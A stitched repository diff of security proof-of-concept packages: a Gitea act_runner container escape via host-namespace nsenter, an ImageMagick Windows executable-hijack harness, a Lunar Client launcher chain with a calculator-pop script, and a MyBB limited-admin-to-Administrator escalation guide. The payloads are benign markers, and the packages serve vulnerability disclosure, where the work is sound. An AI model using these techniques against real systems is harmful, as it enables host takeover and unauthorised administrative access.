Runner operators should also avoid sharing Docker-backed runners with untrusted repositories. Use isolated, single-tenant runners or stronger sandboxing for untrusted workflows.
## Disclosure Scope
This PoC is designed for local defensive validation on infrastructure you control. It writes only a marker file and prints the verification result.

View File

@@ -0,0 +1,157 @@
#!/usr/bin/env python3
import argparse
import os
import pathlib
import re
import shutil
import shlex
import subprocess
import sys
import tempfile
import textwrap
DEFAULT_OPTIONS = "--pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined"
DEFAULT_MARKER = "/tmp/gitea_act_runner_container_options_poc_marker"
SUCCESS_TOKEN = "gitea-act-runner-container-options-poc-ok"
def parser():
p = argparse.ArgumentParser(
description="Local marker-only PoC for Gitea act_runner workflow container.options host namespace escape."
)
p.add_argument("--runner", default="act_runner", help="Path to the act_runner binary.")
p.add_argument("--image", default="ubuntu:22.04", help="Linux image used for the job container.")
p.add_argument("--marker", default=DEFAULT_MARKER, help="Absolute Linux host marker path to create.")
p.add_argument("--workdir", default="", help="Directory for the generated workflow. Defaults to a temporary directory.")
p.add_argument("--keep-workdir", action="store_true", help="Keep the generated workflow directory.")
p.add_argument("--timeout", type=int, default=180, help="act_runner exec timeout in seconds.")
p.add_argument("--debug", action="store_true", help="Run act_runner with --debug.")
p.add_argument("--pull", action="store_true", help="Ask act_runner to pull the container image.")
return p
def validate_marker(marker):
if not marker.startswith("/"):
raise SystemExit("marker must be an absolute Linux path")
if not re.fullmatch(r"[A-Za-z0-9._/\-]+", marker):
raise SystemExit("marker contains unsupported characters")
if marker in {"/", "/tmp", "/var/tmp"}:
raise SystemExit("marker must be a file path")
def write_workflow(root, marker, image):
workflows = root / ".gitea" / "workflows"
workflows.mkdir(parents=True, exist_ok=True)
marker_q = shlex.quote(marker)
inner = f"id > {marker_q}; echo {shlex.quote(SUCCESS_TOKEN)} >> {marker_q}"
command = f"nsenter -t 1 -m -u -i -n -p -- sh -c {shlex.quote(inner)}"
workflow = f"""
name: gitea-act-runner-container-options-poc
on:
- push
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: {image}
options: >-
{DEFAULT_OPTIONS}
steps:
- name: host namespace marker
run: |
set -eu
{command}
"""
path = workflows / "poc.yml"
path.write_text(textwrap.dedent(workflow).lstrip(), encoding="utf-8")
return path
def run(args, root):
cmd = [
args.runner,
"exec",
"-C",
str(root),
"-W",
str(root / ".gitea" / "workflows"),
"-j",
"breakout",
"--container-daemon-socket=-",
"--image",
args.image,
]
if args.pull:
cmd.append("--pull")
if args.debug:
cmd.append("--debug")
print("[*] running:", " ".join(shlex.quote(x) for x in cmd), flush=True)
return subprocess.run(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
timeout=args.timeout,
check=False,
)
def read_marker(marker):
try:
return pathlib.Path(marker).read_text(encoding="utf-8", errors="replace")
except FileNotFoundError:
return ""
except PermissionError as exc:
raise SystemExit(f"marker exists but cannot be read: {exc}") from exc
def remove_marker(marker):
try:
pathlib.Path(marker).unlink()
except FileNotFoundError:
pass
except PermissionError:
pass
def main():
args = parser().parse_args()
validate_marker(args.marker)
runner = shutil.which(args.runner) if os.path.basename(args.runner) == args.runner else args.runner
if not runner:
raise SystemExit("act_runner binary was not found; pass --runner /path/to/act_runner")
args.runner = runner
remove_marker(args.marker)
temp = None
if args.workdir:
root = pathlib.Path(args.workdir).resolve()
root.mkdir(parents=True, exist_ok=True)
else:
temp = tempfile.TemporaryDirectory(prefix="gitea-act-runner-poc-")
root = pathlib.Path(temp.name)
workflow = write_workflow(root, args.marker, args.image)
print(f"[*] generated workflow: {workflow}", flush=True)
try:
result = run(args, root)
finally:
if temp and args.keep_workdir:
temp.cleanup = lambda: None
print(result.stdout, end="")
marker = read_marker(args.marker)
if result.returncode != 0:
raise SystemExit(f"act_runner exited with {result.returncode}")
if SUCCESS_TOKEN not in marker:
raise SystemExit("marker was not created; host namespace entry was not verified")
print("[+] verified host marker:")
print(marker, end="" if marker.endswith("\n") else "\n")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,6 @@
__pycache__/
*.pyc
im-gs-delegate-poc-*/
results/
.venv/
venv/

View File

@@ -0,0 +1,125 @@
# ImageMagick Ghostscript Delegate Search Path PoC
This repository contains a Python proof of concept for a Windows executable search-path issue in ImageMagick's Ghostscript delegate handling.
When ImageMagick converts PDF, PS, EPS, or related PostScript-family inputs on Windows, it builds a Ghostscript delegate command. In the fallback path where ImageMagick does not have a full Ghostscript executable path, the delegate command uses the bare executable name `gswin64c.exe`. The command is then launched through the Windows process API with the application name left unset, which allows normal Windows executable search behavior to choose the program that gets launched.
If the converter process runs from a directory that an attacker can write to, a planted `gswin64c.exe` in that directory can be launched when ImageMagick processes a PDF/PS-family file.
## Tested Versions
The local verification used:
- ImageMagick `7.1.2-25`
- Ghostscript `10.07.1`
- Windows x64
- Python 3
The PoC uses a harmless marker-writing helper named `gswin64c.exe`. The helper only writes a text file showing that it was launched and records the delegate arguments that ImageMagick passed.
## Repository Layout
- `poc.py`: Python replay harness.
- `helper/FakeGswin64c.cs`: source code for the marker-writing helper payload.
- `helper/gswin64c.exe.b64`: base64-encoded helper executable generated from `helper/FakeGswin64c.cs`.
## How The Bug Works
ImageMagick's delegate configuration contains Ghostscript command templates that reference `@PSDelegate@`. On Windows, that placeholder is filled by code that tries to locate Ghostscript. When a full path is available, the command points to that full path. In the fallback path, ImageMagick substitutes `gswin64c.exe`.
The resulting command has this shape:
```text
"gswin64c.exe" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE ... "-sDEVICE=pngalpha" ...
```
Because the executable is a bare name, Windows resolves it through process search rules. A copy of `gswin64c.exe` in the current working directory can be selected before the real Ghostscript binary from `PATH`.
The PoC creates two directories:
- `control`: contains only a benign PDF. ImageMagick resolves `gswin64c.exe` from `PATH`, and conversion succeeds.
- `hijack`: contains the same benign PDF plus a marker-writing `gswin64c.exe`. ImageMagick launches the marker helper from the working directory.
For deterministic lab reproduction, the PoC points `MAGICK_GHOSTSCRIPT_PATH` at a throwaway directory that does not contain Ghostscript DLLs. That forces ImageMagick through the same fallback branch used by portable/no-registry deployments where a full Ghostscript path is unavailable.
## Requirements
- Windows
- Python 3
- ImageMagick for Windows with PDF/PS delegate support
- Ghostscript for Windows
The PoC accepts explicit paths, so it works with portable builds as well as installed builds.
## Usage
With `magick.exe` and `gswin64c.exe` already in `PATH`:
```bash
python poc.py
```
With explicit paths:
```bash
python poc.py \
--magick "C:\path\to\magick.exe" \
--gs-bin "C:\path\to\ghostscript\bin"
```
For portable ImageMagick builds that need a config directory:
```bash
python poc.py \
--magick "C:\path\to\ImageMagick\magick.exe" \
--magick-configure-path "C:\path\to\ImageMagick" \
--gs-bin "C:\path\to\ghostscript\bin"
```
The script prints JSON evidence and writes a `result.json` file into the generated evidence directory.
Successful output includes:
```json
{
"control": {
"output_exists": true
},
"hijack": {
"marker_exists": true,
"marker_text": "fake gswin64c executed\n..."
}
}
```
The marker text contains the exact delegate arguments passed by ImageMagick.
## Reproduction Flow
1. Create a benign PDF input.
2. Create a control directory with only that PDF.
3. Create a second directory with the same PDF and a marker helper named `gswin64c.exe`.
4. Prepend the real Ghostscript `bin` directory to `PATH`.
5. Run ImageMagick from the control directory and verify normal rendering.
6. Run ImageMagick from the second directory and verify that the local `gswin64c.exe` wrote the marker.
## Mitigations
Operational mitigations:
- Configure ImageMagick so Ghostscript resolves to an absolute executable path.
- Set `MAGICK_GHOSTSCRIPT_PATH` to the real Ghostscript `bin` directory when using ImageMagick in automated conversion services.
- Run conversion jobs from a trusted working directory that untrusted users cannot write to.
- Keep upload directories, extraction directories, and conversion working directories separate.
- Disable PDF/PS-family delegate processing when those formats are not required.
Code-level hardening:
- Avoid launching delegate programs by bare executable name.
- Pass an explicit absolute executable path to the process creation API.
- Set the child process working directory to a trusted location.
- Reject delegate execution when the resolved executable path is relative.
## Notes
The helper payload in `helper/gswin64c.exe.b64` is generated from `helper/FakeGswin64c.cs`. It writes only the marker file named by `IM_GS_MARKER` and returns.

View File

@@ -0,0 +1,13 @@
using System;
using System.IO;
class FakeGswin64c
{
static int Main(string[] args)
{
string marker = Environment.GetEnvironmentVariable("IM_GS_MARKER");
if (!String.IsNullOrEmpty(marker))
File.WriteAllText(marker, "fake gswin64c executed\n" + String.Join("\n", args));
return 0;
}
}

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,182 @@
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import os
import platform
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
def sha256(path):
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest().upper()
def build_pdf():
objects = [
b"<< /Type /Catalog /Pages 2 0 R >>",
b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>",
b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream",
]
out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
offsets = [0]
for index, body in enumerate(objects, start=1):
offsets.append(len(out))
out.extend(f"{index} 0 obj\n".encode("ascii"))
out.extend(body)
out.extend(b"\nendobj\n")
xref = len(out)
out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
out.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
out.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii"))
return bytes(out)
def run(cmd, cwd, env):
return subprocess.run(
cmd,
cwd=str(cwd),
env=env,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=False,
)
def find_exe(name, explicit):
if explicit:
path = Path(explicit).expanduser().resolve()
if not path.exists():
raise SystemExit(f"{name} was not found: {path}")
return path
found = shutil.which(name)
if not found:
raise SystemExit(f"{name} was not found in PATH; pass its path explicitly")
return Path(found).resolve()
def write_text(path, text):
path.write_text(text, encoding="utf-8", errors="replace")
def load_helper_payload():
payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64"
if not payload.exists():
raise SystemExit(f"helper payload missing: {payload}")
return base64.b64decode("".join(payload.read_text(encoding="ascii").split()))
def main():
parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC")
parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.")
parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.")
parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.")
parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.")
args = parser.parse_args()
if platform.system() != "Windows":
raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.")
magick = find_exe("magick.exe", args.magick)
if args.gs_bin:
gs_bin = Path(args.gs_bin).expanduser().resolve()
gs_exe = gs_bin / "gswin64c.exe"
if not gs_exe.exists():
raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}")
else:
gs_exe = find_exe("gswin64c.exe", None)
gs_bin = gs_exe.parent
if args.workdir:
root = Path(args.workdir).expanduser().resolve()
root.mkdir(parents=True, exist_ok=True)
else:
root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve()
control = root / "control"
hijack = root / "hijack"
fallback = root / "ghostscript-path-without-dll"
for directory in (control, hijack, fallback):
directory.mkdir(parents=True, exist_ok=True)
for directory in (control, hijack):
(directory / "benign.pdf").write_bytes(build_pdf())
helper = hijack / "gswin64c.exe"
helper.write_bytes(load_helper_payload())
marker = hijack / "marker.txt"
env = os.environ.copy()
env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "")
env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback)
env["IM_GS_MARKER"] = str(marker)
if args.magick_configure_path:
env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve())
magick_version = run([str(magick), "-version"], root, env)
gs_version = run([str(gs_exe), "--version"], root, env)
control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env)
hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env)
write_text(control / "stdout.txt", control_result.stdout)
write_text(control / "stderr.txt", control_result.stderr)
write_text(hijack / "stdout.txt", hijack_result.stdout)
write_text(hijack / "stderr.txt", hijack_result.stderr)
marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else ""
result = {
"workdir": str(root),
"magick": {
"path": str(magick),
"sha256": sha256(magick),
"version": magick_version.stdout.strip(),
},
"ghostscript": {
"path": str(gs_exe),
"sha256": sha256(gs_exe),
"version": gs_version.stdout.strip(),
},
"helper": {
"path": str(helper),
"sha256": sha256(helper),
},
"control": {
"exit_code": control_result.returncode,
"output_png": str(control / "control.png"),
"output_exists": (control / "control.png").exists(),
},
"hijack": {
"exit_code": hijack_result.returncode,
"marker": str(marker),
"marker_exists": marker.exists(),
"marker_text": marker_text,
},
}
result_path = root / "result.json"
result_path.write_text(json.dumps(result, indent=2), encoding="utf-8")
print(json.dumps(result, indent=2))
if not result["control"]["output_exists"]:
raise SystemExit("Control conversion did not produce output; check control/stderr.txt")
if not result["hijack"]["marker_exists"]:
raise SystemExit("Hijack marker was not written; check hijack/stderr.txt")
if "fake gswin64c executed" not in marker_text:
raise SystemExit("Hijack marker did not contain the expected helper output")
print(f"\nPoC verified. Evidence directory: {root}")
if __name__ == "__main__":
sys.exit(main())

3
lunar-modrinth-chain-poc/.gitignore vendored Normal file
View File

@@ -0,0 +1,3 @@
poc/poc-output/
*.log
*.tmp

View File

@@ -0,0 +1,172 @@
# Lunar Client Modrinth Explore Chain PoC
Proof package for a high-severity Lunar Client chain observed in the June 2026
unpacked Electron application.
This repository documents a practical RCE-style chain and includes a benign
cross-platform calc-pop proof for the final "drop local launcher and open it via
the OS shell" primitive.
## Status
High-confidence critical candidate, not yet a fully packaged public
Modrinth-to-Lunar end-to-end exploit.
The chain is severe because it joins several individually dangerous behaviors:
- Modrinth project content is rendered in Lunar Explore as raw HTML.
- The Explore renderer has access to privileged Lunar preload APIs.
- The renderer can reach raw IPC/Redux state synchronization into main.
- Main accepts forged profile state and materializes provider profiles.
- Modrinth override extraction can write root-level override files into a
profile-controlled game directory.
- The unverified modpack warning path only scans `mods`, `resourcepacks`, and
`shaderpacks`, not root overrides.
- `openExternalLink` can reach `shell.openExternal` for non-HTTP URLs when the
initiator is not one of the two restricted user-input initiators.
- Opening shell-dispatched local launcher files can execute code. On Windows,
the reviewed chain uses `.lnk`; the included proof also has macOS/Linux
branches for environments where Windows is unavailable.
If the live Modrinth delivery leg is confirmed end-to-end through Lunar's
production cache, the likely impact is arbitrary code execution as the victim's
desktop user after the victim views or clicks a malicious Modrinth project in
Lunar Explore. This path does not require launching Minecraft, having a JRE
ready, or having a selected Minecraft account.
## Impact
Estimated severity: critical.
Tentative CVSS v3.1: `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` = 9.6.
This score assumes the attacker can publish or otherwise get attacker-controlled
Modrinth project/changelog content rendered by Lunar Explore, and that the raw
HTML delivery path executes script-capable content in the packaged renderer.
## Chain Summary
1. Attacker-controlled Modrinth Markdown is fetched by Lunar Explore.
2. Lunar renders that Markdown through `ReactMarkdown` with `rehypeRaw`, without
an observed sanitizer or HTML allowlist.
3. A raw HTML payload can execute renderer JavaScript through an iframe-style
delivery primitive.
4. Renderer JavaScript can use exposed preload APIs and raw IPC/Redux sync.
5. The renderer forges or creates a Modrinth provider profile whose
`overrides.gameDirectory` points at a writable attacker-chosen directory.
6. The renderer asks main to install the forged Modrinth profile.
7. Main downloads the `.mrpack`, saves the profile, and extracts root-level
`overrides/*` entries to `getEffectiveGameDirectory(profile)`.
8. A root override such as a benign launcher file is written to the chosen
directory and is not covered by the unverified-file warning scanner.
9. The renderer calls the external-link API on a `file:///.../<launcher>` URL
using a non-restricted initiator.
10. Main reaches `shell.openExternal(url)`. The operating system dispatches the
local launcher.
## Evidence From Local Review
The following paths refer to extracted source-map sources from the reviewed
Lunar Client build.
- Raw HTML Markdown sink:
`src/renderer/impl/app/pages/explore/project/components/markdown.tsx`
imports `ReactMarkdown`, uses `rehypeRaw`, and does not apply a sanitizer.
- Modrinth content flow:
`src/renderer/impl/app/pages/explore/project/utils/fetch.ts` maps project
`body` and version `changelog` into renderer state.
- Main install handler:
`src/electron/module/modrinth/index.ts` exposes `installModpack`.
- Profile source of truth:
`src/electron/module/modrinth/install/modpack/index.ts` reads the target
profile from `launcherRedux.store.getState().profiles.profiles`.
- Profile reducer:
`src/shared/store/profiles/index.ts` accepts `profiles/addOrUpdateProfile`
and inserts or replaces the supplied profile object.
- Profile persistence:
`src/electron/module/profiles/index.ts` preserves `profile.overrides` when
saving a virtual profile.
- Effective game directory:
`src/electron/module/profiles/paths.ts` returns
`profile.overrides.gameDirectory` when present.
- Override extraction:
`src/electron/module/profiles/handlers/extract-overrides/utils.ts` maps
non-content-dir `overrides/*` entries to the effective game directory.
- Warning coverage:
`src/electron/module/profiles/handlers/unverified-modpack-files/consts.ts`
scans only `overrides/mods/`, `overrides/resourcepacks/`, and
`overrides/shaderpacks/`.
- External open sink:
`src/electron/window/preload/impl/misc.ts` blocks non-HTTP protocols only for
selected initiators, then calls `shell.openExternal(url)`.
- Redux bridge:
`src/electron/redux/index.ts` enables `stateSyncEnhancer()` with no observed
application-level action allowlist.
## Calc-Pop PoC
Run this only on a local test machine. It does not interact with Lunar Client or
any live Modrinth project. It validates the final execution primitive by:
1. writing a marker file,
2. creating a local platform-appropriate launcher file,
3. asking the OS shell to open that launcher, and
4. popping the Calculator app where available.
```bash
npm run poc
```
Expected output:
```text
marker: calc-pop-attempted
opened: <launcher path>
```
Platform behavior:
- Windows: creates and opens a `.lnk` pointing to `calc.exe`.
- macOS: creates and opens a `.command` launcher that runs Calculator.
- Linux: creates and opens a `.desktop` launcher for the first available
calculator binary from a small allowlist.
In the original audit environment, the Windows shortcut primitive also wrote
`lnk-executed` to a marker file when the shortcut was opened.
## What Is Intentionally Not Included
This repository does not include:
- A live malicious Modrinth project.
- A weaponized iframe or renderer payload.
- A `.mrpack` containing an executable launcher.
- A script that drives Lunar Client against real users.
See `poc/renderer-chain-skeleton.md` for a non-executable outline of the
renderer-side chain.
## Fix Guidance
Recommended fixes should be layered:
- Disable raw HTML in Modrinth Markdown, or sanitize with a strict allowlist.
- Forbid script-capable embedded content in Explore project descriptions and
changelogs.
- Remove generic renderer access to raw IPC `sendMessage`, or enforce a strict
channel allowlist in preload.
- Disable or constrain Electron Redux state sync from untrusted renderers.
- Validate profile objects at every IPC/main boundary.
- Do not accept arbitrary renderer-supplied `gameDirectory` paths without a
real user gesture and path policy.
- Treat every `overrides/*` archive entry as potentially dangerous, including
root-level files.
- Block `file:`, `ms-*`, and other non-web protocols in `openExternalLink`
unless there is a narrow, explicit allowlist.
- Refuse to open executable file types such as `.lnk`, `.exe`, `.bat`, `.cmd`,
`.ps1`, `.vbs`, and similar from renderer-controlled URLs.
## Disclosure Note
This is intended for authorized validation and coordinated disclosure. Keep the
repository private until the vendor has acknowledged and remediated the issue.

View File

@@ -0,0 +1,37 @@
# Local Launcher Proof
Observed during local validation:
```text
Directory: work\lnk-proof
marker.txt
payload.lnk
lnk-executed
```
Interpretation:
- A local `.lnk` was created with a harmless marker target.
- Opening the shortcut caused Windows to execute the target.
- The marker file contained `lnk-executed`.
This validates the final operating-system primitive used by the proposed Lunar
chain. It does not prove the complete Lunar end-to-end exploit by itself.
The repository now includes `poc/calc-pop.js`, a Node.js proof that performs a
visible calculator pop using a local launcher file:
- Windows: `.lnk` to `calc.exe`
- macOS: `.command` running `open -a Calculator`
- Linux: `.desktop` launcher for an installed calculator binary
Observed output from the replacement PoC on Windows:
```text
> lunar-modrinth-chain-poc@0.1.0 poc
> node poc/calc-pop.js
marker: calc-pop-attempted
opened: ...\poc\poc-output\calc-pop.lnk
```

View File

@@ -0,0 +1,10 @@
{
"name": "lunar-modrinth-chain-poc",
"version": "0.1.0",
"private": true,
"description": "Benign calc-pop proof for the Lunar Client Modrinth Explore chain.",
"scripts": {
"poc": "node poc/calc-pop.js"
},
"license": "UNLICENSED"
}

View File

@@ -0,0 +1,122 @@
#!/usr/bin/env node
"use strict";
const { existsSync, mkdirSync, writeFileSync, chmodSync } = require("node:fs");
const { join } = require("node:path");
const { spawn, spawnSync } = require("node:child_process");
const outDir = join(__dirname, "poc-output");
mkdirSync(outDir, { recursive: true });
const markerPath = join(outDir, "marker.txt");
writeFileSync(markerPath, "calc-pop-attempted\n", "utf8");
function detached(command, args, options = {}) {
const child = spawn(command, args, {
detached: true,
stdio: "ignore",
windowsHide: false,
...options,
});
child.unref();
}
function commandExists(command) {
if (process.platform === "win32") {
return spawnSync("where", [command], { stdio: "ignore" }).status === 0;
}
return spawnSync("sh", ["-lc", `command -v ${command}`], {
stdio: "ignore",
}).status === 0;
}
function windowsShortcutProof() {
const shortcutPath = join(outDir, "calc-pop.lnk");
const jscriptPath = join(outDir, "create-shortcut.js");
const escapedShortcut = shortcutPath.replace(/\\/g, "\\\\");
writeFileSync(
jscriptPath,
[
'var shell = WScript.CreateObject("WScript.Shell");',
`var shortcut = shell.CreateShortcut("${escapedShortcut}");`,
'shortcut.TargetPath = "calc.exe";',
'shortcut.WindowStyle = 1;',
"shortcut.Save();",
"",
].join("\r\n"),
"utf8"
);
const created = spawnSync("cscript.exe", ["//nologo", jscriptPath], {
stdio: "inherit",
windowsHide: true,
});
if (created.status !== 0 || !existsSync(shortcutPath)) {
throw new Error("Failed to create Windows shortcut proof");
}
detached("cmd.exe", ["/c", "start", "", shortcutPath]);
return shortcutPath;
}
function macLauncherProof() {
const launcherPath = join(outDir, "calc-pop.command");
writeFileSync(launcherPath, "#!/bin/sh\nopen -a Calculator\n", "utf8");
chmodSync(launcherPath, 0o755);
detached("open", [launcherPath]);
return launcherPath;
}
function linuxLauncherProof() {
const calculators = [
"gnome-calculator",
"kcalc",
"qalculate-gtk",
"mate-calc",
"galculator",
"xcalc",
];
const calculator = calculators.find(commandExists);
if (!calculator) {
throw new Error(
`No supported calculator found. Tried: ${calculators.join(", ")}`
);
}
const launcherPath = join(outDir, "calc-pop.desktop");
writeFileSync(
launcherPath,
[
"[Desktop Entry]",
"Type=Application",
"Name=Calc Pop Proof",
`Exec=${calculator}`,
"Terminal=false",
"",
].join("\n"),
"utf8"
);
chmodSync(launcherPath, 0o755);
if (commandExists("xdg-open")) {
detached("xdg-open", [launcherPath]);
} else {
detached(calculator, []);
}
return launcherPath;
}
let opened;
if (process.platform === "win32") {
opened = windowsShortcutProof();
} else if (process.platform === "darwin") {
opened = macLauncherProof();
} else if (process.platform === "linux") {
opened = linuxLauncherProof();
} else {
throw new Error(`Unsupported platform: ${process.platform}`);
}
console.log("marker: calc-pop-attempted");
console.log(`opened: ${opened}`);

View File

@@ -0,0 +1,42 @@
# Renderer Chain Skeleton
This is a non-executable outline. It intentionally omits a working payload.
## Preconditions To Validate In A Private Lab
- A private Modrinth project or controlled API fixture can return raw HTML in
project `body` or version `changelog`.
- Lunar Explore renders that content in the packaged launcher.
- The injected frame can access the exposed `window.lunar` or
`window.electron` preload bridge from the rendered context.
- The main Redux bridge accepts a forged `profiles/addOrUpdateProfile` action.
- `installModpack` accepts the forged profile ID.
- Override extraction writes root `overrides/*` files to the controlled
effective game directory.
- `openExternalLink` reaches `shell.openExternal` for a local launcher file URL
with a non-restricted initiator.
## Non-Executable Flow
1. Build a virtual profile object with these properties:
- `id`: fresh local ID
- `type`: `modrinth`
- `provider`: `modrinth`
- `state`: `virtual`
- `useLunarFeatures`: compatible with target Modrinth version
- `modrinth.projectId`: controlled test project
- `modrinth.selectedVersion.versionId`: controlled test version
- `overrides.gameDirectory`: writable test directory
2. Send a profile-add action into the main Redux state-sync channel.
3. Invoke the Lunar Modrinth install API for that profile ID.
4. Confirm the controlled test `.mrpack` root override is written under the
chosen game directory.
5. Invoke the Lunar external-link API with a local `file:` URL to the benign
launcher file.
6. Confirm the calculator pop or marker file.
## Expected Benign Result
The validation succeeds only if a benign calculator pop or marker file is
observed. Do not test with an arbitrary command or payload outside a controlled
lab.

13
mybb-limited-acp-to-admin/.gitignore vendored Normal file
View File

@@ -0,0 +1,13 @@
__pycache__/
*.py[cod]
.pytest_cache/
.venv/
venv/
*.sqlite
*.sqlite3
*.db
*.log
lab/site/
lab/data/
downloads/
vendor/

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,165 @@
# MyBB 1.8.40 Limited ACP User Manager to Full Administrator
This repository contains a portable proof of concept for a MyBB 1.8.40 Admin CP privilege-boundary issue.
A non-super Admin CP account with only the user-management module permission can create a new user in the Administrator group (`gid=4`). The created account inherits full Administrator-group Admin CP permissions, including access to modules the source account was explicitly denied.
## Status
- Target verified: MyBB `1.8.40` / version code `1840`
- Latest release confirmed: MyBB 1.8.40, released 28 May 2026
- Live test date: 18 June 2026
- PoC language: Python 3 standard library only
The older regular-user buddy/ignore-list username XSS chain is patched in 1.8.40 as CVE-2026-45115. This repo is for a different latest-version issue: limited ACP user-management privilege escalation to full Administrator.
## Impact
The final impact is full MyBB application administration:
- Read and modify board configuration.
- Create, edit, ban, or delete users.
- Access forum data exposed through the Admin CP.
- Change content, permissions, settings, themes, templates, and persistence mechanisms available to Administrators.
This has the same final application-root impact as the earlier stored-XSS-to-Admin-CP chain, but the precondition is different and stricter: the attacker needs access to an ACP account that can manage users.
## Preconditions
The source account must:
- Be authenticated to the Admin CP.
- Have `user-users = 1` permission.
- Not need to be a super administrator.
- Not need `user-admin_permissions = 1`.
- Not need access to unrelated Admin CP modules such as Configuration, Templates, Tools, or Forums.
## Root Cause
The Admin CP add-user flow forwards submitted group fields directly into the user data handler:
```php
"usergroup" => $mybb->get_input('usergroup'),
"additionalgroups" => $additionalgroups,
"displaygroup" => $mybb->get_input('displaygroup'),
```
The add-user form renders every non-guest user group, including `gid=4` Administrator:
```php
$query = $db->simple_select("usergroups", "gid, title", "gid != '1'", array('order_by' => 'title'));
```
The user data handler still accepts group choices unconditionally:
```php
function verify_usergroup()
{
return true;
}
```
There is no effective authorization check that the acting ACP user is allowed to grant an ACP-capable group.
## Usage
Use only on systems you own or are explicitly authorized to test.
With limited ACP credentials:
```bash
python3 poc/mybb_limited_acp_to_admin.py \
--url http://127.0.0.1:8110 \
--admin-user limited_user_manager \
--admin-pass 'LimitedPassword123!' \
--new-user promoted_admin \
--new-pass 'NewAdminPassword123!' \
--new-email promoted_admin@example.test
```
With an existing limited ACP `adminsid` cookie:
```bash
python3 poc/mybb_limited_acp_to_admin.py \
--url https://forum.example.test \
--adminsid '<limited-adminsid-cookie>' \
--new-user promoted_admin \
--new-pass 'NewAdminPassword123!' \
--new-email promoted_admin@example.test
```
For local labs using self-signed TLS, add `--no-verify-tls`.
## Expected Output
The PoC verifies the boundary crossing by comparing access to an Admin CP module before and after creating the new account:
```text
target : http://127.0.0.1:8110
source_probe_status : HTTP 200
source_probe_denied : yes
add_form_status : HTTP 200
post_key_found : yes
create_status : HTTP 200
new_admin_login : adminsid issued
new_probe_status : HTTP 200
new_probe_denied : no
Result: full Administrator account created and verified
```
`source_probe_denied=yes` and `new_probe_denied=no` show that the source account lacked the tested permission while the newly created gid-4 account gained it.
## Live Verification Performed
I verified this against a fresh 1.8.40 install:
- Downloaded `mybb_1840.zip` from MyBB resources.
- Verified SHA-256: `380fb63c50c63f52c747ba05d1002ad77f2f0b1d254db213092501dd5e9375dc`.
- Installed through the official installer using SQLite.
- Confirmed code version from `inc/class_core.php`: `1.8.40 (1840)`.
- Seeded a non-super ACP account with only `user-users = 1`.
- Confirmed that account received `Access Denied` for `config-settings`.
- Used the Admin CP add-user form to create a new `gid=4` Administrator.
- Logged in as the new account and confirmed `config-settings` was no longer denied.
The Python PoC was also run against the live lab and produced the expected verified output above.
## Patched Prior Chain
The previous MyBB 1.8.39 buddy-selector stored XSS relied on stock templates passing attacker-controlled username data into a single-quoted inline JavaScript call:
```html
onclick="UserCP.selectBuddy('{$buddy['uid']}', '{$buddy['username']}');"
```
In stock MyBB 1.8.40, the affected templates now call `UserCP.selectBuddy()` without the username argument:
```html
onclick="UserCP.selectBuddy();"
```
That removes the old username-to-inline-JS sink in the default template set.
## Suggested Fix
When an ACP user creates or edits accounts, reject any primary, additional, or display group with Admin CP capability unless the acting user is a super administrator or has an explicit high-trust permission to grant ACP-capable groups.
Concrete checks should cover:
- Add-user flow.
